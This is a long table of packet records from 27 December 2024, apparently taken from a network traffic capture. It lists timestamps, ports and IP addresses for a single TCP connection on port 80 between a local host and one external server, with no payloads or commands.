Dec 27, 2024 15:04:04.797099113 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:04.798093081 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:04.798135042 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:04.798185110 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:04.799124956 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:04.799164057 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:04.799218893 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:04.800312996 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:04.800352097 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:04.800409079 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:04.801268101 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:04.801307917 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:04.801419973 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:04.802365065 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:04.802401066 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:04.802468061 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:04.803284883 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:04.803323030 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:04.803399086 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:04.804408073 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:04.804445028 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:04.804470062 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:04.805411100 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:04.805449009 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:04.805532932 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:04.806355000 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:04.806391001 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:04.806392908 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:04.807426929 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:04.807446957 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:04.807463884 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:04.808455944 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:04.808492899 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:04.808583021 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:04.809463978 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:04.809499025 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:04.809566975 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:04.858935118 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:04.879968882 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:04.880089045 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:04.880145073 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:04.880450010 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:04.916090965 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:04.916167974 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:04.916182995 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:04.916407108 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:04.916454077 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:04.916461945 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:04.917427063 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:04.917470932 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:04.917542934 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:04.918442965 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:04.918473005 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:04.918484926 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:04.919467926 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:04.919508934 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:04.919569969 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:04.920504093 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:04.920545101 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:04.920609951 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:04.921540976 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:04.921580076 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:04.921672106 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:04.922579050 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:04.922625065 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:04.922657013 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:04.923655033 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:04.923707008 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:04.923747063 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:04.924644947 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:04.924695969 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:04.924740076 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:04.925693989 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:04.925729036 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:04.925748110 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:04.926701069 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:04.926748991 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:04.926789999 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:04.927758932 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:04.927803993 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:04.927845955 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:04.928780079 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:04.928791046 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:04.928823948 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:04.929888010 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:04.929932117 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:04.929946899 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:04.930844069 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:04.930888891 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:04.930953026 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:04.931906939 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:04.931951046 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:04.931972980 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:04.932925940 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:04.932982922 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:04.933007956 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:04.933962107 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:04.934009075 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:04.934046030 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:04.934969902 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:04.935041904 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:04.935055017 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:04.984167099 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:05.004420996 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:05.004484892 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:05.004581928 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:05.004905939 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:05.041404963 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:05.041491032 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:05.041512966 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:05.041901112 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:05.041987896 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:05.214935064 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:05.215044975 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:05.215136051 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:05.253544092 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:05.253561020 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:05.253633022 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:05.253813982 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:05.296431065 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:05.299001932 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:05.299084902 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:05.299141884 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:05.299449921 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:05.299576044 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:05.299618959 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:05.300462008 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:05.300530910 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:05.300573111 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:05.301493883 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:05.301640034 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:05.301681995 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:05.302561045 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:05.302670002 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:05.302716017 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:05.303584099 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:05.303735018 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:05.303780079 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:05.304611921 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:05.304727077 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:05.304796934 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:05.305649042 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:05.305752993 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:05.305816889 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:05.306657076 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:05.306772947 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:05.306816101 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:05.307715893 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:05.307818890 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:05.307866096 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:05.308725119 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:05.308820009 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:05.308856964 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:05.309777021 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:05.309863091 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:05.309904099 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:05.310796022 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:05.310883999 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:05.310925961 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:05.311850071 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:05.311974049 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:05.312199116 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:05.312896013 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:05.313003063 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:05.313041925 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:05.313966036 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:05.314121962 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:05.314162970 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:05.314927101 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:05.315057039 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:05.315100908 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:05.315972090 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:05.316061020 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:05.316102028 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:05.317018986 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:05.317122936 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:05.317164898 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:05.318056107 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:05.318152905 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:05.318203926 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:05.319075108 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:05.319175959 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:05.319217920 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:05.320110083 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:05.320205927 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:05.320254087 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:05.321125031 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:05.321225882 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:05.321266890 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:05.322165966 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:05.322257996 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:05.322297096 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:05.323210001 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:05.323290110 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:05.323324919 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:05.324227095 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:05.324359894 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:05.324402094 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:05.325259924 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:05.325367928 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:05.325486898 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:05.326286077 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:05.326442003 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:05.326535940 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:05.327317953 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:05.327416897 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:05.327455997 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:05.328370094 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:05.328471899 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:05.328582048 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:05.329385042 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:05.329502106 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:05.329538107 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:05.330415010 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:05.330544949 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:05.330663919 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:05.331469059 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:05.331569910 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:05.331612110 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:05.332571030 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:05.332731962 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:05.332783937 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:05.333570957 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:05.333592892 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:05.333638906 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:05.333883047 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:05.334592104 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:05.334688902 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:05.334724903 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:05.335602999 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:05.335722923 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:05.335760117 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:05.336637974 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:05.336705923 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:05.336747885 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:05.337661028 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:05.337774038 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:05.337817907 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:05.338673115 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:05.338777065 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:05.338816881 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:05.339822054 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:05.339951038 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:05.339991093 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:05.340919018 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:05.341042995 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:05.341085911 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:05.341882944 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:05.341980934 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:05.342020035 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:05.342509031 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:05.342807055 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:05.342957020 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:05.342993975 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:05.343852997 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:05.343945980 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:05.343998909 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:05.345016003 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:05.345180035 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:05.345221043 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:05.345910072 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:05.346020937 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:05.346060991 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:05.346956968 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:05.350775957 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:05.360197067 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:05.377856970 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:05.377878904 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:05.377902031 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:05.378144979 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:05.378191948 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:05.415014029 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:05.415029049 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:05.415071011 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:05.415276051 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:05.415421009 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:05.415457010 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:05.415543079 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:05.416488886 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:05.416532040 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:05.416553974 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:05.417479992 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:05.417522907 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:05.425410986 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:05.425508022 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:05.425553083 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:05.425966024 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:05.426034927 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:05.426070929 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:05.427018881 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:05.427125931 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:05.427161932 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:05.428020000 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:05.468303919 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:05.501116991 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:05.501204967 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:05.501272917 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:05.501528025 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:05.501661062 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:05.501874924 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:05.502397060 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:05.502753019 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:05.502832890 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:05.502876043 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:05.503619909 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:05.503668070 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:05.503716946 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:05.504504919 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:05.504549026 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:05.504576921 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:05.505384922 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:05.505466938 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:05.505501032 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:05.506256104 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:05.506333113 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:05.506364107 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:05.507123947 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:05.507169962 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:05.539526939 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:05.539573908 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:05.539628029 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:05.539972067 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:05.540112019 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:05.540904045 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:05.540949106 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:05.541034937 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:05.541076899 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:05.541733027 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:05.541841984 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:05.541883945 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:05.542622089 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:05.542733908 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:05.542778015 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:05.543504000 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:05.543606043 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:05.543711901 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:05.544451952 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:05.544570923 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:05.544614077 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:05.545306921 CET	80	49743	185.215.113.16	192.168.2.4
